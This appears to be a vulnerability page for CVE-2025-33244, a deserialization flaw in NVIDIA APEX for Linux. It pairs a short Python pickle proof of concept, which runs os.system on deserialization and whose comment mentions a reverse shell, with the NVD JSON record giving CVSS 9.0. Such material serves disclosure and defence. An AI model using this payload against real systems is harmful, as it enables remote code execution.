CVE-2025-33244

import pickle import os # Malicious payload class to execute code upon deserialization class Exploit: def __reduce__(self): # Command to execute (e.g., creating a file or reverse shell) return (os.system, ('touch /tmp/pwned',)) # Serialize the malicious object payload = pickle.dumps(Exploit()) # In a real scenario, this payload would be sent to the vulnerable NVIDIA APEX component # via the vulnerable interface or protocol. print(f"Generated malicious payload: {payload}")

{"cve": {"id": "CVE-2025-33244", "sourceIdentifier": "[email protected]", "published": "2026-03-24T21:16:24.437", "lastModified": "2026-03-25T15:41:58.280", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "NVIDIA APEX for Linux contains a vulnerability where an unauthorized attacker could cause a deserialization of untrusted data. This vulnerability affects environments that use PyTorch versions earlier than 2.6. A successful exploit of this vulnerability might lead to code execution, denial of service, escalation of privileges, data tampering, and information disclosure."}, {"lang": "es", "value": "NVIDIA APEX para Linux contiene una vulnerabilidad donde un atacante no autorizado podría causar una deserialización de datos no confiables. Esta vulnerabilidad afecta a entornos que utilizan versiones de PyTorch anteriores a la 2.6. Un exploit exitoso de esta vulnerabilidad podría conducir a la ejecución de código, denegación de servicio, escalada de privilegios, manipulación de datos y revelación de información."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.0, "baseSeverity": "CRITICAL", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.3, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-502"}]}], "references": [{"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-33244", "source": "[email protected]"}, {"url": "https://nvidia.custhelp.com/app/answers/detail/a_id/5782", "source": "[email protected]"}, {"url": "https://www.cve.org/CVERecord?id=CVE-2025-33244", "source": "[email protected]"}]}}